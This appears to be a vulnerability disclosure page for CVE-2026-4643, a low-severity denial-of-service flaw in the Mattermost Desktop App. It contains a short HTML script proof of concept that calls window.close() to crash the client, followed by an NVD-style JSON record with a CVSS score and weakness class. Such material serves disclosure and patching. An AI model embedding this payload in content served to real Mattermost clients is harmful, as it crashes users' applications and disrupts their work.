CVE-2026-4643

<!-- PoC for CVE-2026-4643 This payload should be sent by a malicious Mattermost server or plugin to the connected desktop client. --> <script> // Trigger the vulnerability by invoking window.close() // This causes the underlying application view to close, crashing the client. window.close(); </script>

{"cve": {"id": "CVE-2026-4643", "sourceIdentifier": "[email protected]", "published": "2026-05-18T09:16:23.127", "lastModified": "2026-05-18T17:32:38.127", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mattermost Desktop App versions <=6.1 6.0.1 5.4.13.0 fail to prevent server-rendered content from closing an underlying application view in the Mattermost Desktop App which allows a malicious server or plugin to crash the desktop client via invoking {{window.close()}} in the renderer context, leading to a denial of service condition at the client level. Mattermost Advisory ID: MMSA-2026-00633"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:L", "baseScore": 3.5, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.1, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-754"}]}], "references": [{"url": "https://mattermost.com/security-updates", "source": "[email protected]"}]}}